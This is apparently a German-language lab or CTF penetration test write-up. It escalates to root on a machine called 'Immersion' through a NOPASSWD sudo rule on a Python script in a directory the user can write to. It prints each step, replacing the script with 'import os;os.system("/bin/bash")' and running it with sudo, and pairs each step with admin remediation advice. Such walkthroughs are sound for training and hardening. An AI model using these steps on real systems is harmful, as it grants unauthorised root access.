Empfehlung (Pentester): Als `c0ldd` erneut `sudo -l` ausführen, um zu sehen, welche Rechte dieser Benutzer hat. Das gesamte System weiter nach Hinweisen oder Fehlkonfigurationen durchsuchen, die von `c0ldd` ausgenutzt werden können.
Empfehlung (Admin): Die Berechtigungen und Besitzverhältnisse der Heimatverzeichnisse überprüfen und korrigieren. Sicherstellen, dass jeder Benutzer nur auf sein eigenes Heimatverzeichnis (und temporäre Verzeichnisse) Schreibzugriff hat, sofern nicht anders erforderlich. Die unsichere `sudoers`-Regel für `carls` entfernen.
Analyse: Als Benutzer `c0ldd` wird erneut `sudo -l` ausgeführt, um die `sudo`-Berechtigungen für diesen Benutzer zu überprüfen. Anschließend wird die Datei `/home/c0ldd/DoNotRun.py` untersucht, die im `sudo`-Eintrag erwähnt wird, und ihre Berechtigungen werden überprüft.
Coincidiendo entradas por defecto para c0ldd en Immersion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario c0ldd puede ejecutar los siguientes comandos en Immersion:
(root) NOPASSWD: /usr/bin/python3 /home/c0ldd/DoNotRun.py
while True:
print("I told you")
-rw-r--r-- 1 root root 33 mar 17 2021 /home/c0ldd/DoNotRun.py
Bewertung: Dies ist der entscheidende Fund für die vertikale Privilegienerweiterung! Der Benutzer `c0ldd` darf das Python-Skript `/home/c0ldd/DoNotRun.py` mittels `sudo` als `root` ausführen (`(root)`) und das sogar ohne Passwortabfrage (`NOPASSWD:`). Das Skript selbst ist harmlos (eine Endlosschleife, die Text ausgibt). Jedoch zeigt `ls -la`, dass die Datei `/home/c0ldd/DoNotRun.py` zwar `root` gehört, aber für `c0ldd` nicht schreibbar ist (`-rw-r--r--`). Moment, die Ausgabe von `ls -la` weiter oben im Bericht zeigte, dass `/home/c0ldd` selbst `carls:carls` gehört. Die `ls -la` Ausgabe hier bezieht sich jedoch spezifisch auf die Datei `DoNotRun.py` im (vermutlich korrekten) Pfad `/home/c0ldd/`. Es scheint, als gäbe es ein separates Home-Verzeichnis für `c0ldd` unter `/home/c0ldd/` und das vorherige (`c0ldd@Immersion$ cd ~`) führte fälschlicherweise zu `/home/carls/`. Wir müssen prüfen, ob wir als `c0ldd` die Datei `/home/c0ldd/DoNotRun.py` überschreiben können. Wenn ja, können wir den Inhalt durch eigenen Code ersetzen (z.B. Code, der eine Root-Shell startet) und diesen dann mit `sudo` als `root` ausführen.
Empfehlung (Pentester): Prüfen, ob die Datei `/home/c0ldd/DoNotRun.py` oder das Verzeichnis `/home/c0ldd/` für den Benutzer `c0ldd` schreibbar ist. Wenn ja:
1. Ein eigenes Python-Skript erstellen, das eine Bash-Shell startet (z.B. `import os; os.system('/bin/bash')`).
2. Dieses Skript anstelle des ursprünglichen `/home/c0ldd/DoNotRun.py` platzieren (z.B. durch Überschreiben oder Verschieben).
3. Den `sudo`-Befehl ausführen: `sudo /usr/bin/python3 /home/c0ldd/DoNotRun.py`. Dies sollte eine Root-Shell öffnen.
Empfehlung (Admin): Die `sudoers`-Regel ist extrem unsicher. Erlaube niemals die Ausführung von Skripten oder Binaries als `root` über `sudo`, wenn der aufrufende Benutzer Schreibzugriff auf das Skript oder das Verzeichnis hat. Wenn ein Skript mit erhöhten Rechten ausgeführt werden muss, sicherstellen, dass es und sein Pfad nur von `root` beschreibbar sind und der Inhalt nicht manipuliert werden kann. Das `NOPASSWD`-Tag sollte nur in sehr seltenen, gut begründeten Fällen verwendet werden.
Analyse: Der Proof-of-Concept nutzt die zuvor identifizierte unsichere `sudo`-Regel aus. Zuerst wird ein neues Python-Skript erstellt, das eine Bash-Shell öffnet. Der Befehl `echo 'import os;os.system("/bin/bash")' > /home/c0ldd/test` schreibt den Python-Code in eine temporäre Datei `/home/c0ldd/test`. Anschließend wird überprüft, ob die Datei erfolgreich erstellt wurde.
c0ldd@Immersion:/dev/shm$
-rw-r--r-- 1 c0ldd c0ldd 33 jun 30 08:05 /home/c0ldd/test
Bewertung: Das Erstellen der Datei `/home/c0ldd/test` durch den Benutzer `c0ldd` war erfolgreich. Dies bestätigt, dass `c0ldd` Schreibrechte im Verzeichnis `/home/c0ldd/` hat, obwohl die Datei `DoNotRun.py` selbst `root` gehörte. Dies ist der entscheidende Punkt, der die Ausnutzung ermöglicht.
Empfehlung (Pentester): Mit dem nächsten Schritt fortfahren: Die Originaldatei `DoNotRun.py` durch die neu erstellte Datei `test` ersetzen.
Empfehlung (Admin): Die Berechtigungen des Verzeichnisses `/home/c0ldd/` korrigieren. Es sollte `c0ldd` gehören und idealerweise nicht für andere Benutzer (außer `root`) schreibbar sein. Die unsichere `sudo`-Regel muss entfernt werden.
Analyse: Die erstellte Datei `/home/c0ldd/test` (die den Code zum Starten einer Bash-Shell enthält) wird nun verwendet, um das ursprüngliche Skript `/home/c0ldd/DoNotRun.py` zu überschreiben. Der Befehl `mv /home/c0ldd/test /home/c0ldd/DoNotRun.py` verschiebt und benennt die Datei um. Das System fragt nach Bestätigung, da eine vorhandene Datei überschrieben wird (Antwort: `s` für sí/yes). Anschließend wird der Inhalt des Verzeichnisses `/home/c0ldd/` aufgelistet, um zu überprüfen, ob die Datei `DoNotRun.py` nun den Inhalt und die Berechtigungen der zuvor erstellten `test`-Datei hat.
mv: ¿reemplazar '/home/c0ldd/DoNotRun.py', sustituyendo el modo 0644? (rw-r--r--) (s/n) s
total 40
drwxr-x--- 4 c0ldd c0ldd 4096 jun 30 08:06 ./
drwxr-xr-x 4 root root 4096 mar 17 2021 ../
-rw------- 1 c0ldd c0ldd 6 mar 17 2021 .bash_history
-rw-r--r-- 1 c0ldd c0ldd 220 mar 17 2021 .bash_logout
-rw-r--r-- 1 c0ldd c0ldd 3771 mar 17 2021 .bashrc
drwxrwxr-x 2 c0ldd c0ldd 4096 mar 17 2021 .cache/
-rw-r--r-- 1 c0ldd c0ldd 33 jun 30 08:05 DoNotRun.py
drwxrwxr-x 2 c0ldd c0ldd 4096 mar 17 2021 .nano/
-rw-r--r-- 1 c0ldd c0ldd 655 mar 17 2021 .profile
-rw-r--r-- 1 c0ldd c0ldd 0 mar 17 2021 .sudo_as_admin_successful
-rw-rw-r-- 1 c0ldd c0ldd 25 mar 17 2021 user.txt
Bewertung: Das Überschreiben war erfolgreich. Die Datei `/home/c0ldd/DoNotRun.py` enthält nun den schädlichen Python-Code (`import os; os.system("/bin/bash")`) und gehört dem Benutzer `c0ldd`. Die Voraussetzungen für den letzten Schritt der Privilegienerweiterung sind geschaffen. Interessanterweise wird auch eine `user.txt`-Datei im Heimatverzeichnis von `c0ldd` sichtbar.
Empfehlung (Pentester): Den `sudo`-Befehl ausführen, um die Root-Shell zu erhalten. Anschließend die `user.txt` und die `root.txt` (vermutlich in `/root/`) auslesen.
Empfehlung (Admin): Dringend die unsichere `sudo`-Regel entfernen und die Verzeichnisberechtigungen korrigieren.
Analyse: Der letzte Schritt des Angriffs: Der `sudo`-Befehl, der in der `sudoers`-Datei für `c0ldd` konfiguriert ist, wird ausgeführt. Da die Datei `/home/c0ldd/DoNotRun.py` nun den Code zum Starten einer Shell enthält, wird `sudo` diesen Code als `root` ausführen.
root@Immersion:/dev/shm#
Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Der Prompt hat sich zu `root@Immersion:/dev/shm#` geändert, was bestätigt, dass wir nun eine interaktive Shell mit den höchsten Privilegien auf dem System haben. Das Ziel der Privilegienerweiterung wurde erreicht.
Empfehlung (Pentester): Die Root-Shell nutzen, um die finalen Flags (`user.txt`, `root.txt`) zu sammeln und eventuell weitere Persistenzmechanismen zu untersuchen oder zu implementieren (im Rahmen des erlaubten Scopes).
Empfehlung (Admin): System kompromittiert. Forensische Analyse durchführen, um das Ausmaß des Angriffs zu verstehen. System bereinigen, Schwachstellen (LFI, unsichere sudo-Regel, veraltete Software, unsichere Verzeichnisberechtigungen) beheben und aus dem Backup wiederherstellen oder neu installieren. Sicherheitsrichtlinien verschärfen.